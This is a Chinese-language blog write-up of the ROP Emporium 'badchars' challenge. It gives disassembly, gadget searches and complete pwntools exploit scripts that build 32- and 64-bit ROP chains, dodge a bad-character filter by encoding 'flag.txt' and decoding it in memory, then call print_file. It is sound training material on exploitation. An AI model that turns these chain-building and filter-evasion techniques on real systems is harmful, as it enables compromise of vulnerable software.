ROP_Emporium_badchars

12 篇文章 0 订阅

1. badchars32

信息收集

题目提供了一个可执行文件badchars32, 一个动态库libbadchars32.so,一个flag.txt。

$ file badchars32
badchars32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=48ae8ea56ad3b3ef64444a622db86aa4f0f26b7d, not stripped
$ file libbadchars32.so
libbadchars32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=9987e654d1d6aec3dbc0abbab74a28d1ab8b6286, not stripped
$ checksec libbadchars32.so
[*] '/home/starr/Documents/CProject/pwn/libbadchars32.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

黑盒测试

$ ./badchars32 < cyclic.txt
badchars by ROP Emporium
x86

badchars are: 'x', 'g', 'a', '.'
> Thank you!
Segmentation fault (core dumped)
$ gdb ./badchars32 ./badchars32.core.5172
...
Core was generated by `./badchars32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xebebeb6c in ?? ()
pwndbg> cyclic -l 0xebebeb6c
[CRITICAL] Pattern contains characters not present in the alphabet

这里定位溢出点失败了,应该和字符过滤有关,需要分析一下。

反汇编

$ objdump -d -M intel badchars32

080483b0 <pwnme@plt>:
...
080483d0 <print_file@plt>:
...
08048506 <main>:
 8048506:       8d 4c 24 04             lea    ecx,[esp+0x4]
 804850a:       83 e4 f0                and    esp,0xfffffff0
 804850d:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 8048510:       55                      push   ebp
 8048511:       89 e5                   mov    ebp,esp
 8048513:       51                      push   ecx
 8048514:       83 ec 04                sub    esp,0x4
 8048517:       e8 94 fe ff ff          call   80483b0 <pwnme@plt>
 804851c:       b8 00 00 00 00          mov    eax,0x0
 8048521:       83 c4 04                add    esp,0x4
 ...
 8048529:       c3                      ret
 
0804852a <usefulFunction>:
 804852a:       55                      push   ebp
 804852b:       89 e5                   mov    ebp,esp
 804852d:       83 ec 08                sub    esp,0x8
 8048530:       83 ec 0c                sub    esp,0xc
 8048533:       68 e0 85 04 08          push   0x80485e0	# nonexistent
 8048538:       e8 93 fe ff ff          call   80483d0 <print_file@plt>
 804853d:       83 c4 10                add    esp,0x10
 8048540:       90                      nop
 8048541:       c9                      leave
 8048542:       c3                      ret

08048543 <usefulGadgets>:
 8048543:       00 5d 00                add    BYTE PTR [ebp+0x0],bl
 8048546:       c3                      ret
 8048547:       30 5d 00                xor    BYTE PTR [ebp+0x0],bl
 804854a:       c3                      ret
 804854b:       28 5d 00                sub    BYTE PTR [ebp+0x0],bl
 804854e:       c3                      ret
 804854f:       89 37                   mov    DWORD PTR [edi],esi
 8048551:       c3                      ret
$ strings -t x  badchars32 | grep 5e0
    5e0 nonexistent
    
$ objdump -d -M intel libbadchars32.so
000006bd <pwnme>:
 ...
 711:   8d 45 c8                lea    eax,[ebp-0x38]
 714:   83 c0 10                add    eax,0x10
 717:   50                      push   eax
 718:   e8 83 fe ff ff          call   5a0 <memset@plt>
 ...
 747:   68 00 02 00 00          push   0x200
 74c:   8d 45 c8                lea    eax,[ebp-0x38]
 74f:   83 c0 10                add    eax,0x10
 752:   50                      push   eax
 753:   6a 00                   push   0x0
 755:   e8 c6 fd ff ff          call   520 <read@plt>	read(stdin, exp-0x28, 0x200)
 ...

000007cf <print_file>:
 7cf:   55                      push   ebp
 7d0:   89 e5                   mov    ebp,esp
 7d2:   53                      push   ebx
 7d3:   83 ec 34                sub    esp,0x34
 ...
 7eb:   8d 83 cb e8 ff ff       lea    eax,[ebx-0x1735]		"r"
 7f1:   50                      push   eax
 7f2:   ff 75 08                push   DWORD PTR [ebp+0x8]
 7f5:   e8 96 fd ff ff          call   590 <fopen@plt>
 ...
 862:   c3                      ret

主函数调用so中有溢出漏洞的pwnme函数,根据so的反汇编代码手算一下,溢出点偏移应该是(ebp+4) - (ebp-0x28) == 44,其实和前几题一样。

而so中的print_file,可以用来输出flag。

pwnme函数中还有对输入字符串的检查,用ida分析一下:

.text:00000723                 lea     eax, (aBadcharsAreXGA - 2000h)[ebx] ; "badchars are: 'x', 'g', 'a', '.'"
.text:00000729                 push    eax             ; s
.text:0000072A                 call    _puts
.text:0000074C                 lea     eax, [ebp+nInputBytes]
.text:0000074F                 add     eax, 10h
.text:00000752                 push    eax             ; buf
.text:00000753                 push    0               ; fd
.text:00000755                 call    _read
.text:0000075A                 add     esp, 10h
.text:0000075D                 mov     [ebp+nInputBytes], eax
.text:00000760                 mov     [ebp+i], 0
.text:00000767                 jmp     short beginChecking
.text:00000769 ; ---------------------------------------------------------------------------
.text:00000769
.text:00000769 loopCheckInput:                         ; CODE XREF: pwnme+F8↓j
.text:00000769                 mov     [ebp+j], 0
.text:00000770                 jmp     short badchars_0_3
.text:00000772 ; ---------------------------------------------------------------------------
.text:00000772
.text:00000772 checkLogic:                             ; CODE XREF: pwnme+E5↓j
.text:00000772                 mov     eax, [ebp+i]
.text:00000775                 movzx   ecx, [ebp+eax+arrInput] ; arrInput[i]
.text:0000077A                 mov     eax, [ebp+j]
.text:0000077D                 mov     edx, ds:(badcharacters_ptr - 2000h)[ebx]
.text:00000783                 movzx   eax, byte ptr [edx+eax] ; badcharacters[j]
.text:00000787                 cmp     cl, al
.text:00000789                 jnz     short nextBadChar
.text:0000078B                 mov     eax, [ebp+i]    ; if(arrInput[i] == badchars[j])
.text:0000078B                                         ;    arrInput[i] = 0xEB
.text:0000078E                 mov     [ebp+eax+arrInput], 0EBh
.text:00000793
.text:00000793 nextBadChar:                            ; CODE XREF: pwnme+CC↑j
.text:00000793                 mov     eax, [ebp+j]
.text:00000796                 add     eax, 1
.text:00000799                 mov     [ebp+j], eax
.text:0000079C
.text:0000079C badchars_0_3:                           ; CODE XREF: pwnme+B3↑j
.text:0000079C                 mov     eax, [ebp+j]
.text:0000079F                 cmp     eax, 3
.text:000007A2                 jbe     short checkLogic
.text:000007A4                 mov     eax, [ebp+i]
.text:000007A7                 add     eax, 1
.text:000007AA                 mov     [ebp+i], eax
.text:000007AD
.text:000007AD beginChecking:                          ; CODE XREF: pwnme+AA↑j
.text:000007AD                 mov     edx, [ebp+i]
.text:000007B0                 mov     eax, [ebp+nInputBytes]
.text:000007B3                 cmp     edx, eax
.text:000007B5                 jb      short loopCheckInput
.text:000007B7                 sub     esp, 0Ch
.text:000007BA                 lea     eax, (aThankYou - 2000h)[ebx] ; "Thank you!"

坏字符一共4个,”x, g, a, .“,对输入的每个字符进行检查,如果发现坏字符则赋值为0xEB。所以在黑盒测试时,0xebebeb6c是3个a被替换后的数据。

思路

先假设没有过滤,那么需要把flag.txt字符串写进.data里,再返回到print_file。思路和write432一样。

搜索一下pop和mov:

pwndbg> rop --grep "pop|mov"
...
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x0804846d : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret
0x080484ba : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret
0x080484e4 : mov byte ptr [0x804a020], 1 ; leave ; ret
0x0804854f : mov dword ptr [edi], esi ; ret
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x0804847a : mov esp, 0x27 ; add bl, dh ; ret
...
0x0804854c : pop ebp ; add bl, al ; mov dword ptr [edi], esi ; ret
0x08048548 : pop ebp ; add bl, al ; sub byte ptr [ebp], bl ; ret
0x08048544 : pop ebp ; add bl, al ; xor byte ptr [ebp], bl ; ret
0x08048525 : pop ebp ; lea esp, [ecx - 4] ; ret
0x080485bb : pop ebp ; ret
0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x08048524 : pop ecx ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080485ba : pop edi ; pop ebp ; ret
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
...

0x0804854f处的mov,和0x080485b8,0x080485b9的pop指令看起来可以搭配。简单构造一下payload:

padding		  len 44

pGadget1      pop esi ; pop edi ; pop ebp ; ret
"flag"		  pop to esi
pData		  pop to edi
padding		  pop to ebp
pGadget2	  mov dword ptr [edi], esi ; ret  "flag" --> .data

pGadget1	  重复两次
".txt"		  
pData+4		  
padding		  
pGadget2

pPrintFile
padding		 当然最好是一个正常的返回地址
pData

然后考虑坏字符的问题。梳理下流程:

  1. read之后马上检查坏字符,所以输入的字符串应该是经过解密的,比如a+1–>b,或者xor一下也行;
  2. 需要再找一段gadget,将输入字符解码,比如add, sub, xor,然后再存到.data里。

搜一下:

pwndbg> rop --grep "sub|add|xor"
0x08048523 : add al, 0x59 ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080484e8 : add al, 8 ; add ecx, ecx ; ret
0x0804846e : add al, 8 ; call eax
0x080484bb : add al, 8 ; call edx
0x0804854d : add bl, al ; mov dword ptr [edi], esi ; ret
0x08048549 : add bl, al ; sub byte ptr [ebp], bl ; ret
0x08048545 : add bl, al ; xor byte ptr [ebp], bl ; ret
0x0804847f : add bl, dh ; ret
0x0804847d : add byte ptr [eax], al ; add bl, dh ; ret
0x0804847c : add byte ptr [eax], al ; add byte ptr [eax], al ; ret
0x08048398 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x0804847e : add byte ptr [eax], al ; ret
0x08048543 : add byte ptr [ebp], bl ; ret
0x08048520 : add byte ptr [ebx + 0x5d5904c4], al ; lea esp, [ecx - 4] ; ret
...
0x0804854b : sub byte ptr [ebp], bl ; ret
0x080484b4 : sub esp, 0x10 ; push eax ; push 0x804a020 ; call edx
0x08048468 : sub esp, 0x14 ; push 0x804a020 ; call eax
0x0804837d : sub esp, 8 ; call 0x8048449
0x08048478 : test byte ptr [ebp + 0x27bc], 0 ; add bl, dh ; ret
0x08048713 : xor byte ptr [ebp + 0xe], cl ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x08048547 : xor byte ptr [ebp], bl ; ret
0x080485cf : xor ebx, dword ptr [edx] ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret

搜索结果要根据gadget1和gadget2来筛选,关注ebx、esi、edi、ebp这几个寄存器。注意到0x08048543处的指令,它可以将ebp指向的字节加上bl。从加密的角度,ebp指向密文,bl就是密钥。这里就取bl为1来构造payload吧。当然如果加密后还是坏字符,就得考虑异或之类的了。

其实,0x08048543,0x08048547, 0x0804854b三处指令都是出题人在usefulGadged函数提供的。

这个gadget3的使用方法:

  1. 因为是操作内存,所以应该放在pGadget2之后,此时已经将加密的字符串存到了.data中;
  2. 因为每次只能解密1个字节,所以要重复4次("flag.txt"有4个坏字节),并且需要有pop ebx, pop ebp这样的gadget,幸运的是刚刚搜索pop有这两条结果;
  3. 因为pGadget1里面也有pop ebx, pop ebp,所以别浪费,存储一次就解密一次。

并且因为用到了ebx,gadget1也要换成0x080485b8处的指令。

别忘了获取一下.data地址:

$ readelf -S badchars32 | grep .data
  [16] .rodata           PROGBITS        080485d8 0005d8 000014 00   A  0   0  4
  [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4

构造payload:

padding		  len 44

pGadget1      	0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x000001	  	pop to ebx
"fl`f"		  	pop to esi
pData		  	pop to edi   存储位置 0x0804a018
pData + 2	  	pop to ebp   a的密文
pGadget2	  	0x0804854f : mov dword ptr [edi], esi ; ret;
pGadgetDecrypt	add byte ptr [ebp], bl ; ret   解密得到a

				继续解密
pGadgetPopEbx  0x0804839d : pop ebx ; ret
0x000001	  
pGadgetPopEbp  0x080485bb : pop ebp ; ret
pData + 3       g的密文
pGadgetDecrypt	解密得到g

pGadget1	  第二次存储
0x000001
"-twt"		  
pData+4		  存储位置
pData+4		  .的密文
pGadget2
pGadgetDecrypt	解密得到.

				继续解密
pGadgetPopEbx
0x000001	
pGadgetPopEbp
pData + 6      x的密文
pGadgetDecrypt	解密得到x

pPrintFile
padding		 最好是一个正常的返回地址
pData

Exp

from pwn import *

context.arch = "i386"
context.bits = 32
context.os = "linux"
context.log_level = 'debug'

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;


badChars = ["a", "g", ".", "x"]
def encryptSubOne(plainStr, byKey):
    encryptedStr = ""
    for i in range(len(plainStr)):
        if plainStr[i] in badChars:
            encryptedStr += chr(ord(plainStr[i]) - byKey);
        else:
            encryptedStr += plainStr[i]
    return encryptedStr


nBufOverflowIndex = 44
pPltPrintFile = 0x080483d0;
pGadgetPopEbxEsiEdiEbp = 0x080485b8  # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pGadgetMoveEsiToEdi = 0x0804854f     # mov dword ptr [edi], esi ; ret;
pGadgetPopEbx = 0x0804839d           # pop ebx ; ret
pGadgetPopEbp = 0x080485bb           # pop ebp ; ret
pGadgetDecrypt = 0x08048543          # add byte ptr [ebp], bl ; ret
pDataSection = 0x0804a018
byKey = 0x01


encryptedFlagTxt = encryptSubOne("flag.txt", byKey)

# 1. padding
payload = bytes("A" * nBufOverflowIndex, encoding = "ascii");

# 2.1 store encrypt("flag") and decrypt
payload += p32(pGadgetPopEbxEsiEdiEbp)
payload += p32(byKey)	  	        # pop to ebx
payload += bytes(encryptedFlagTxt[:4], encoding = "ascii")	# pop to esi
payload += p32(pDataSection)		  	# pop to edi   存储位置
payload += p32(pDataSection + 2)	  	# pop to ebp   a的密文
payload += p32(pGadgetMoveEsiToEdi)	    # mov dword ptr [edi], esi ; ret;  存入.data
payload += p32(pGadgetDecrypt)	        # add byte ptr [ebp], bl ; ret   解密得到a

# 2.2 继续解密
payload += p32(pGadgetPopEbx)
payload += p32(byKey)               # pop to ebx
payload += p32(pGadgetPopEbp)  
payload += p32(pDataSection + 3)    # pop to ebp   g的密文
payload += p32(pGadgetDecrypt)	    # 解密得到g

# 3.1 第二次存储
payload += p32(pGadgetPopEbxEsiEdiEbp)	  
payload += p32(byKey)              # pop to ebx
payload += bytes(encryptedFlagTxt[4:], encoding = "ascii")	# pop to esi		  
payload += p32(pDataSection+4)	   #  pop to edi  存储位置
payload += p32(pDataSection+4)	   #  pop to ebp  .的密文
payload += p32(pGadgetMoveEsiToEdi) # 存入.data
payload += p32(pGadgetDecrypt)	   # 解密得到 .

# 3.2 继续解密
payload += p32(pGadgetPopEbx)
payload += p32(byKey)	            # pop to ebx
payload += p32(pGadgetPopEbp)
payload += p32(pDataSection + 6)    # pop to ebp   x的密文
payload += p32(pGadgetDecrypt)	    # 解密得到x

# 4. print_file("flag.txt")
payload += p32(pPltPrintFile)
payload += bytes("B" * int(context.bits/8), encoding = "ascii");		 # 最好是一个正常的返回地址
payload += p32(pDataSection)


io = getio("./badchars32")

io.recvuntil(">")

# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()

# b'Thank you!\n'
# b'ROPE{a_placeholder_32byte_flag!}\n'
# b'Thank you!\nROPE{a_placeholder_32byte_flag!}\n'

2. badchars

信息

确认下.data段的地址:

$ readelf -S badchars | grep .data
  [15] .rodata           PROGBITS         00000000004006c0  000006c0
  [23] .data             PROGBITS         0000000000601028  00001028

反汇编

64位版本,可以一次传递8个字节,先反汇编看看传参,确认是用rdi传递字符串参数:

$ objdump -d -M intel badchars
...
0000000000400510 <print_file@plt>:
...
0000000000400617 <usefulFunction>:
  400617:       55                      push   rbp
  400618:       48 89 e5                mov    rbp,rsp
  40061b:       bf c4 06 40 00          mov    edi,0x4006c4
  400620:       e8 eb fe ff ff          call   400510 <print_file@plt>
  400625:       90                      nop
...
0000000000400628 <usefulGadgets>:
  400628:       45 30 37                xor    BYTE PTR [r15],r14b
  40062b:       c3                      ret
  40062c:       45 00 37                add    BYTE PTR [r15],r14b
  40062f:       c3                      ret
  400630:       45 28 37                sub    BYTE PTR [r15],r14b
  400633:       c3                      ret
  400634:       4d 89 65 00             mov    QWORD PTR [r13+0x0],r12
  400638:       c3                      ret
...
$ objdump -d -M intel libbadchars.so
...
00000000000008fa <pwnme>:
...
 972:   48 8d 45 c0             lea    rax,[rbp-0x40]
 976:   48 83 c0 20             add    rax,0x20
 97a:   ba 00 02 00 00          mov    edx,0x200
 97f:   48 89 c6                mov    rsi,rax
 982:   bf 00 00 00 00          mov    edi,0x0
 987:   e8 34 fe ff ff          call   7c0 <read@plt> 	 read(stdin, rsi, 0x200)
...
0000000000000a07 <print_file>:
 a07:   55                      push   rbp
 a08:   48 89 e5                mov    rbp,rsp
 a0b:   48 83 ec 40             sub    rsp,0x40
 a0f:   48 89 7d c8             mov    QWORD PTR [rbp-0x38],rdi
 a13:   48 c7 45 f8 00 00 00    mov    QWORD PTR [rbp-0x8],0x0
 a1a:   00
 a1b:   48 8b 45 c8             mov    rax,QWORD PTR [rbp-0x38]
 a1f:   48 8d 35 d1 00 00 00    lea    rsi,[rip+0xd1]        # af7 <badcharacters+0x57>
 a26:   48 89 c7                mov    rdi,rax
 a29:   e8 c2 fd ff ff          call   7f0 <fopen@plt>
...

同时确认溢出点偏移(rbp+8) - (rbp-0x40 + 0x20) == 0x28

构造Payload

搜一下gadget,关注rdi参数:

pwndbg> rop --grep "pop|mov"
...
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400635 : mov dword ptr [rbp], esp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400687 : mov edi, ebp ; call qword ptr [r12 + rbx*8]
0x0000000000400686 : mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
.
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret		!!!!!!!!!!!!!
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret		!!!!!!!!!
0x00000000004006a2 : pop r15 ; ret
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret	!!!!!!!!!!!!!!!
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

0x0000000000400634处的mov指令,可以利用。pop指令就关注一下r13和r12寄存器(有两个),0x000000000040069c处的pop应该可以用。

0x00000000004006a0处pop r14, pop r15也可以用来获取key和密文地址。

0x00000000004006a3处pop rdi,用来最后传参给print_file。

然后搜一下解密gadget,关注r14和r15:

pwndbg> rop --grep "add|sub|xor"
0x0000000000400549 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x000000000040061e : add al, bpl ; jmp 0x40062a
0x000000000040061f : add al, ch ; jmp 0x400629
0x000000000040054f : add bl, dh ; ret
0x000000000040062c : add byte ptr [r15], r14b ; ret			!!!!!
0x00000000004006ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040054e : add byte ptr [rax], al ; ret
0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040054d : add byte ptr [rax], r8b ; ret
0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040062d : add byte ptr [rdi], dh ; ret
0x00000000004005e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x00000000004004eb : add esp, 8 ; ret
0x00000000004004ea : add rsp, 8 ; ret
...
0x0000000000400630 : sub byte ptr [r15], r14b ; ret
0x0000000000400631 : sub byte ptr [rdi], dh ; ret
0x00000000004006b5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004006b4 : sub rsp, 8 ; add rsp, 8 ; ret
...
0x0000000000400628 : xor byte ptr [r15], r14b ; ret
0x0000000000400629 : xor byte ptr [rdi], dh ; ret

有0x000000000040062c、 0x0000000000400630、0x0000000000400628三处指令可以用,当然这也是作者在usefulGadgets函数提供的。

思路和32位大致一样:

padding    len 0x28
pGadgetPop	   		0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
encrypt("flag.txt")            pop str to r12
pData           	pop .data addr to r13
1            		pop key to r14
pData + 2       	pop to r15  a的密文
pGadgetMovR13ToR12   0x0000000000400634 : mov qword ptr [r13], r12 ; ret
pGadgetDecrypt 		 0x000000000040062c : add byte ptr [r15], r14b ; ret  获取a

pGadgetPopR14R15	0x00000000004006a0 : pop r14 ; pop r15 ; ret
1					key
pData + 3			g的密文
pGadgetDecrypt		获取g

pGadgetPopR14R15	
1					key
pData + 4			.的密文
pGadgetDecrypt		获取.


pGadgetPopR14R15	
1					key
pData + 6			x密文
pGadgetDecrypt		获取x

pGadgetPopRdi   	0x00000000004006a3 : pop rdi ; ret
pData
pPltPrintFile		0x0000000000400510

调试分析

运行脚本后报错:

Failed to open file: flag.twt

"x"没有被成功解密,经过调试,发现问题出在.data的地址上:

>>> hex(0x601028+6)
'0x60102e'
>>> chr(0x2e)
'.'

x的密文所在的地址,被当作坏字符, 赋值为0xEB了,,,如下R15寄存器:

*R15  0x6010eb ◂— 0x0
 RBP  0x4141414141414141 ('AAAAAAAA')
*RSP  0x7fff8ef4c1b8 —▸ 0x40062c (usefulGadgets+4) ◂— add    byte ptr [r15], r14b /* 'E' */
*RIP  0x4006a4 (__libc_csu_init+100) ◂— ret    
───────────────────[ DISASM ]────────────────────────
   0x4006a3 <__libc_csu_init+99>     pop    rdi
 ► 0x4006a4 <__libc_csu_init+100>    ret                                  <0x40062c; usefulGadgets+4>
    ↓
   0x40062c <usefulGadgets+4>        add    byte ptr [r15], r14b

那么试着将目标地址加上7个字节,就不会有地址包含坏字节了。

Exp

from pwn import *

context.arch = "amd64"
context.bits = 64
context.os = "linux"

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;

badChars = ["a", "g", ".", "x"]
def encryptSubOne(plainStr, byKey):
    encryptedStr = ""
    for i in range(len(plainStr)):
        if plainStr[i] in badChars:
            encryptedStr += chr(ord(plainStr[i]) - byKey);
        else:
            encryptedStr += plainStr[i]
    return encryptedStr


nBufOverflowIndex = 0x28
pDataSection = 0x0000000000601028 + 7   # 0x0000000000601028 + 6 --> badchar 0x2e
pPltPrintFile = 0x0000000000400510
pGadgetPop = 0x000000000040069c         # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pGadgetMovR13ToR12 = 0x0000000000400634 # mov qword ptr [r13], r12 ; ret
pGadgetDecrypt = 0x000000000040062c     # add byte ptr [r15], r14b ; ret  获取a
pGadgetPopR14R15 = 0x00000000004006a0   # pop r14 ; pop r15 ; ret
pGadgetPopRdi = 0x00000000004006a3      # pop rdi ; ret
byKey = 0x1;

encryptedFlagTxt = encryptSubOne("flag.txt", byKey)

# 1. padding
payload = bytes("A" * nBufOverflowIndex, encoding="ascii")

# 2. store encryped "flag.txt" to .data and decrypt one byte
payload += p64(pGadgetPop)	   		#  pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += bytes(encryptedFlagTxt, encoding="ascii")     # pop str to r12
payload += p64(pDataSection)           	    # pop .data addr to r13
payload += p64(byKey)            	# key to r14
payload += p64(pDataSection + 2)       	    # pop to r15  a的密文
payload += p64(pGadgetMovR13ToR12)   # mov qword ptr [r13], r12 ; ret
payload += p64(pGadgetDecrypt) 		# add byte ptr [r15], r14b ; ret  获取a

# 3. decrypt other bytes
payload += p64(pGadgetPopR14R15)	# pop r14 ; pop r15 ; ret
payload += p64(byKey)				# key
payload += p64(pDataSection + 3)	# g的密文
payload += p64(pGadgetDecrypt)		# 获取g

payload += p64(pGadgetPopR14R15)	
payload += p64(byKey)				# key
payload += p64(pDataSection + 4)	# .的密文
payload += p64(pGadgetDecrypt)		# 获取.


payload += p64(pGadgetPopR14R15)	
payload += p64(byKey)				# key
payload += p64(pDataSection + 6)	# x密文
payload += p64(pGadgetDecrypt)		# 获取x

# 4. print_file("flag.txt")
payload += p64(pGadgetPopRdi)   	# pop rdi ; ret
payload += p64(pDataSection)
payload += p64(pPltPrintFile)		


io = getio("./badchars")

io.recvuntil(">")

# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()

3. 参考文章

ROPEmporium: badchars 32-bit | (cavetownie.github.io)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值